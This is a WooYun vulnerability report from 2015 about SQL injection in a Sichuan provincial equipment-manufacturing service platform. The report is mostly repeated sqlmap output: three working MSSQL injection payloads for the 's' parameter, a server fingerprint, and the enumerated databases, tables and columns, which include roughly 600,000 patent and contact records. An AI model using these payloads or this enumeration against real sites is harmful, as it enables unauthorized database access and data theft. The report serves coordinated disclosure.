当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0149009

漏洞标题：四川省装备制造技术服务平台SQL注射。泄露众多信息

相关厂商：cncert国家互联网应急中心

漏洞作者： 路人甲

提交时间：2015-10-24 09:21

修复时间：2015-12-11 17:00

公开时间：2015-12-11 17:00

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：11

漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-24： 细节已通知厂商并且等待厂商处理中
2015-10-27： 厂商已经确认，细节仅向厂商公开
2015-11-06： 细节向核心白帽子及相关领域专家公开
2015-11-16： 细节向普通白帽子公开
2015-11-26： 细节向实习白帽子公开
2015-12-11： 细节向公众公开

简要描述：

四川省装备制造技术服务平台SQL注射。泄露众多信息
包含60万专利授权号，申请号，信箱，传真，利税 完成人，完成单位，投资金额。联系人，联系单位名称，获奖情况，电话，等等

详细说明：

http://**.**.**.**/SubPage/hyzx_list.aspx?s=%e8%a1%8c%e4%b8%9a%e8%b5%84%e8%ae%af (GET)

1.png


sqlmap identified the following injection points with a total of 57 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
available databases [10]:
[*] bole
[*] ccjys
[*] master
[*] model
[*] msdb
[*] operation
[*] ReportServer
[*] ReportServerTempDB
[*] SCJX
[*] tempdb


Database: bole
[48 tables]
+-----------------+
| AddedService    |
| BrandCard       |
| CarOrder        |
| Recruitment     |
| about           |
| address         |
| admin           |
| advice          |
| base            |
| business        |
| car             |
| carGroup        |
| card            |
| charter         |
| city            |
| comment         |
| contents        |
| coupon          |
| credit          |
| dtproperties    |
| faq             |
| firm            |
| gift            |
| helpCate        |
| helpInfo        |
| integral        |
| links           |
| lot             |
| new_member      |
| news            |
| order_list      |
| order_state     |
| passager        |
| picture         |
| price           |
| products        |
| promotion       |
| reg             |
| reg_user        |
| relate          |
| server_add      |
| server_to_order |
| stand           |
| store           |
| type            |
| webbase         |
| zhours          |
| zmintues        |
+-----------------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
Database: bole
[48 tables]
+-----------------+
| AddedService    |
| BrandCard       |
| CarOrder        |
| Recruitment     |
| about           |
| address         |
| admin           |
| advice          |
| base            |
| business        |
| car             |
| carGroup        |
| card            |
| charter         |
| city            |
| comment         |
| contents        |
| coupon          |
| credit          |
| dtproperties    |
| faq             |
| firm            |
| gift            |
| helpCate        |
| helpInfo        |
| integral        |
| links           |
| lot             |
| new_member      |
| news            |
| order_list      |
| order_state     |
| passager        |
| picture         |
| price           |
| products        |
| promotion       |
| reg             |
| reg_user        |
| relate          |
| server_add      |
| server_to_order |
| stand           |
| store           |
| type            |
| webbase         |
| zhours          |
| zmintues        |
+-----------------+
Database: bole
+---------------------+---------+
| Table               | Entries |
+---------------------+---------+
| dbo.address         | 60      |
| dbo.base            | 30      |
| dbo.helpCate        | 26      |
| dbo.zhours          | 24      |
| dbo.CarOrder        | 22      |
| dbo.news            | 22      |
| dbo.car             | 18      |
| dbo.helpInfo        | 14      |
| dbo.picture         | 14      |
| dbo.type            | 14      |
| dbo.gift            | 12      |
| dbo.carGroup        | 11      |
| dbo.coupon          | 11      |
| dbo.server_add      | 11      |
| dbo.firm            | 10      |
| dbo.faq             | 9       |
| dbo.BrandCard       | 8       |
| dbo.promotion       | 8       |
| dbo.credit          | 7       |
| dbo.links           | 6       |
| dbo.products        | 6       |
| dbo.zmintues        | 6       |
| dbo.AddedService    | 4       |
| dbo.business        | 4       |
| dbo.card            | 4       |
| dbo.passager        | 4       |
| dbo.price           | 4       |
| dbo.reg_user        | 4       |
| dbo.server_to_order | 3       |
| dbo.city            | 2       |
| dbo.new_member      | 2       |
| dbo.order_list      | 2       |
| dbo.order_state     | 2       |
| dbo.reg             | 2       |
| dbo.stand           | 2       |
| dbo.store           | 2       |
| dbo.admin           | 1       |
| dbo.relate          | 1       |
| dbo.webbase         | 1       |
+---------------------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
available databases [10]:
[*] bole
[*] ccjys
[*] master
[*] model
[*] msdb
[*] operation
[*] ReportServer
[*] ReportServerTempDB
[*] SCJX
[*] tempdb
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
Database: ccjys
+--------------------+---------+
| Table              | Entries |
+--------------------+---------+
| dbo.News           | 716     |
| dbo.PicShowNews    | 276     |
| dbo.News$          | 224     |
| dbo.GuestBook      | 49      |
| dbo.Products       | 48      |
| dbo.Contact        | 27      |
| dbo.Contact$       | 27      |
| dbo.Certificate    | 23      |
| dbo.DownLoads      | 23      |
| dbo.Certificate$   | 22      |
| dbo.PicShowNews$   | 19      |
| dbo.Products$      | 15      |
| dbo.DownLoads$     | 12      |
| dbo.News_Category  | 11      |
| dbo.WebConfig      | 11      |
| dbo.WebConfig$     | 11      |
| dbo.Users          | 9       |
| dbo.Links          | 6       |
| dbo.Links$         | 6       |
| dbo.News_Category$ | 5       |
| dbo.Pro_CateGory   | 5       |
| dbo.Pro_CateGory$  | 5       |
| dbo.Users$         | 2       |
+--------------------+---------+


Database: SCJX
+--------+---------+
| Table  | Entries |
+--------+---------+
| dbo.bz | 367411  |
+--------+---------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
Database: SCJX
Table: bz
[83 columns]
+-------------------+----------+
| Column            | Type     |
+-------------------+----------+
| bat               | nvarchar |
| bz_bbdw           | nvarchar |
| bz_bbrq           | nvarchar |
| bz_gjc            | nvarchar |
| bz_gjce           | nvarchar |
| bz_gjflh          | nvarchar |
| bz_qdbz           | nvarchar |
| bz_ssrq           | nvarchar |
| bz_udc            | nvarchar |
| bz_zgflh          | nvarchar |
| bz_ztflh          | nvarchar |
| bzft_zgflh1       | nvarchar |
| databass鏍囪瘑        | nvarchar |
| fbrq              | nvarchar |
| id                | bigint   |
| key_old           | nvarchar |
| pdf_path          | nvarchar |
| pdfname           | nvarchar |
| UDC鍒嗙被鍙?           | nvarchar |
| WFInstitutionName | nvarchar |
| ys涓浗鏍囧噯鍒嗙被鍙?        | nvarchar |
| zd_cd             | decimal  |
| zd_in             | decimal  |
| zwmc_txt          | nvarchar |
| 涓浗鍒嗙被鍙稯LD          | nvarchar |
| 涓浗鏍囧噯鍒嗙被鍙?          | nvarchar |
| 涓浗鏍囧噯鍒嗙被鍙?          | nvarchar |
| 涓浗鏍囧噯鍒嗙被鍙疯仛绫?        | nvarchar |
| 涓浘鍒嗙被鍙?            | nvarchar |
| 涓枃鍏抽敭璇?            | nvarchar |
| 涓婚鏍囬              | nvarchar |
| 浠ｆ浛鏍囧噯              | nvarchar |
| 淇敼浠?              | nvarchar |
| 鍘熸枃鍏抽敭璇?            | nvarchar |
| 鍘熸枃鏍囧噯鍚嶇О            | nvarchar |
| 鍙戝竷鍗曚綅              | nvarchar |
| 鍙戝竷鏃ユ湡              | nvarchar |
| 鍥藉埆浠ｇ爜              | nvarchar |
| 鍥介檯鏍囧噯鍒嗙被鍙?          | nvarchar |
| 瀹炴柦鏃ユ湡              | nvarchar |
| 搴熸渚濇嵁              | nvarchar |
| 搴熸淇℃伅鏉ユ簮            | nvarchar |
| 搴熸鎯呭喌              | nvarchar |
| 搴熸鏃ユ湡              | nvarchar |
| 寮€鏈〉鏁?             | nvarchar |
| 寮曠敤鏍囧噯              | nvarchar |
| 鎴鏃ユ湡              | nvarchar |
| 鎵€灞炴爣鍑?             | nvarchar |
| 鎵瑰噯鍗曚綅              | nvarchar |
| 鎺掑簭鐮?              | nvarchar |
| 鏀跺埌鏁版嵁鏃ユ湡            | datetime |
| 鏁版嵁搴撴爣璇?            | nvarchar |
| 鏂版爣鍑嗗彿              | nvarchar |
| 鏄惁鏈夎瘧鏂囩増鏈?          | nvarchar |
| 鏇夸唬鏍囧噯              | nvarchar |
| 鏍囧噯浠ｅ彿F2            | nvarchar |
| 鏍囧噯鍙穎irst          | nvarchar |
| 鏍囧噯鍚嶇О              | nvarchar |
| 鏍囧噯姘村钩              | nvarchar |
| 鏍囧噯鐘舵€?             | nvarchar |
| 鏍囧噯绉嶇被              | nvarchar |
| 鏍囧噯绫诲瀷              | nvarchar |
| 鏍囧噯缂栧彿              | nvarchar |
| 鏍囧噯缂栧彿ys            | nvarchar |
| 鏍囧噯鑻辨枃鍚嶇О            | nvarchar |
| 姝ｆ枃璇              | nvarchar |
| 姣嶄綋鏂囩尞              | nvarchar |
| 纭鏃ユ湡              | nvarchar |
| 绱㈠彇鍙?              | nvarchar |
| 鑻辨枃鍏抽敭璇?            | nvarchar |
| 鑻辨枃鍚嶇О              | nvarchar |
| 琛ュ厖浠?              | nvarchar |
| 璁板綍id              | nvarchar |
| 璁板綍鏍囪瘑绗?            | nvarchar |
| 璁板綍鐘舵€?             | nvarchar |
| 璧疯崏浜?              | nvarchar |
| 璧疯崏鍗曚綅              | nvarchar |
| 閲囩敤鍏崇郴              | nvarchar |
| 闄勬敞                | nvarchar |
| 椤垫暟                | nvarchar |
| 椤垫暟寮€鏈?             | nvarchar |
| 棰佸竷骞翠唤              | nvarchar |
| 棣嗚棌鏍囧織              | nvarchar |
+-------------------+----------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
Database: SCJX
Table: cg
[73 columns]
+-------------+----------+
| Column      | Type     |
+-------------+----------+
| id          | bigint   |
| 涓撳埄鎺堟潈鍙?      | nvarchar |
| 涓撳埄鐢宠鍙?      | nvarchar |
| 涓撳埄椤规暟        | nvarchar |
| 涓浘鍒嗙被鍙?      | nvarchar |
| 涓婚璇?        | nvarchar |
| 浜у€?         | nvarchar |
| 浼犵湡          | nvarchar |
| 淇℃伅鏉ユ簮        | nvarchar |
| 淇＄          | nvarchar |
| 鍏ュ簱鏃堕棿        | nvarchar |
| 鍏竷鍒婄墿鍚嶉〉鏁?    | nvarchar |
| 鍒楀叆鏃堕棿        | nvarchar |
| 鍒涙眹          | nvarchar |
| 鍒╃◣          | nvarchar |
| 鍘熼」鐩勾搴︾紪鍙?    | nvarchar |
| 鍙戝竷鍗曚綅        | nvarchar |
| 鍩哄眰缂栧彿        | nvarchar |
| 澶囨敞          | nvarchar |
| 瀹屾垚浜?        | nvarchar |
| 瀹屾垚鍗曚綅        | nvarchar |
| 宸ヤ綔璧锋鏃堕棿      | nvarchar |
| 搴旂敤琛屼笟鍚嶇О      | nvarchar |
| 搴旂敤琛屼笟鐮?      | nvarchar |
| 寤鸿鏈?        | nvarchar |
| 鎴愭灉涓枃鍚嶇О      | nvarchar |
| 鎴愭灉鍏竷鏃ユ湡      | nvarchar |
| 鎴愭灉瀵嗙骇        | nvarchar |
| 鎴愭灉姘村钩        | nvarchar |
| 鎴愭灉绠€浠?       | nvarchar |
| 鎴愭灉绫诲埆        | nvarchar |
| 鎴愭灉绫诲瀷        | nvarchar |
| 鎶曡祫娉ㄩ噴        | nvarchar |
| 鎶曡祫璇存槑        | nvarchar |
| 鎶曡祫閲戦        | nvarchar |
| 鎺ㄥ箍鎯呭喌璇存槑      | nvarchar |
| 鎺ㄥ箍鏂瑰紡        | nvarchar |
| 鎺ㄥ箍鐨勫繀瑕佹€у強鎺ㄥ箍棰勬祴 | nvarchar |
| 鎺ㄥ箍鑼冨洿        | nvarchar |
| 鎺ㄥ箍璺熻釜        | nvarchar |
| 鎺ㄨ崘鏃ユ湡        | nvarchar |
| 鎺ㄨ崘鐧昏鍙?      | nvarchar |
| 鎺ㄨ崘閮ㄩ棬        | nvarchar |
| 鎺ㄨ崘閮ㄩ棬鐮?      | nvarchar |
| 鐢虫姤鍗曚綅鍚?      | nvarchar |
| 鐢虫姤鏃ユ湡        | nvarchar |
| 鐧昏鍙?        | nvarchar |
| 鐧昏鏃ユ湡        | nvarchar |
| 鐧昏閮ㄩ棬        | nvarchar |
| 鐧昏閮ㄩ棬鐮?      | nvarchar |
| 鐪佸競          | nvarchar |
| 缂栧彿          | int      |
| 鑱旂郴浜?        | nvarchar |
| 鑱旂郴鍗曚綅鍚嶇О      | nvarchar |
| 鑱旂郴鍦板潃        | nvarchar |
| 鑱旂郴鐢佃瘽        | nvarchar |
| 鑺傝祫          | nvarchar |
| 鑾峰鎯呭喌        | nvarchar |
| 璁″垝鍚嶇О        | nvarchar |
| 璁板綍鐘舵€?       | nvarchar |
| 璁板綍绫诲瀷        | nvarchar |
| 璧勬枡鍏竷鏃ユ湡      | nvarchar |
| 杞鍐呭        | nvarchar |
| 杞鏂瑰紡        | nvarchar |
| 杞鏉′欢        | nvarchar |
| 杞娉ㄩ噴        | nvarchar |
| 杞鑼冨洿        | nvarchar |
| 杞璐?        | nvarchar |
| 閭斂缂栫爜        | nvarchar |
| 閴村畾鏃ユ湡        | nvarchar |
| 閴村畾閮ㄩ棬        | nvarchar |
| 闄愬埗浣跨敤        | nvarchar |
| 椤圭洰骞村害缂栧彿      | nvarchar |
+-------------+----------+
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Parameter: s (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 4863=4863 AND 'RQYV'='RQYV
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: s=%E8%A1%8C%E4%B8%9A%E8%B5%84%E8%AE%AF' AND 6047=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(122)+CHAR(113)+CHAR(113)+(SELECT (CASE WHEN (6047=6047) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(107)+CHAR(120)+CHAR(98)+CHAR(113))) AND 'aOtI'='aOtI
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase OR time-based blind (heavy query)
    Payload: s=-8762' OR 5242=(SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) AND 'zFcw'='zFcw
---
web server operating system: Windows 2003 or XP
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 6.0
back-end DBMS: Microsoft SQL Server 2008
Database: SCJX
+--------+---------+
| Table  | Entries |
+--------+---------+
| dbo.cg | 597790  |
+--------+---------+


主要跑几个数据高的

漏洞证明：

1.png


1.png


1.png


1.png


60万详细的

修复方案：

版权声明：转载请注明来源 路人甲@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：10

确认时间：2015-10-27 16:59

厂商回复：

CNVD确认并复现所述漏洞情况，已经转由CNCERT下发对应分中心，由其后续协调网站管理单位处置。

最新状态：

暂无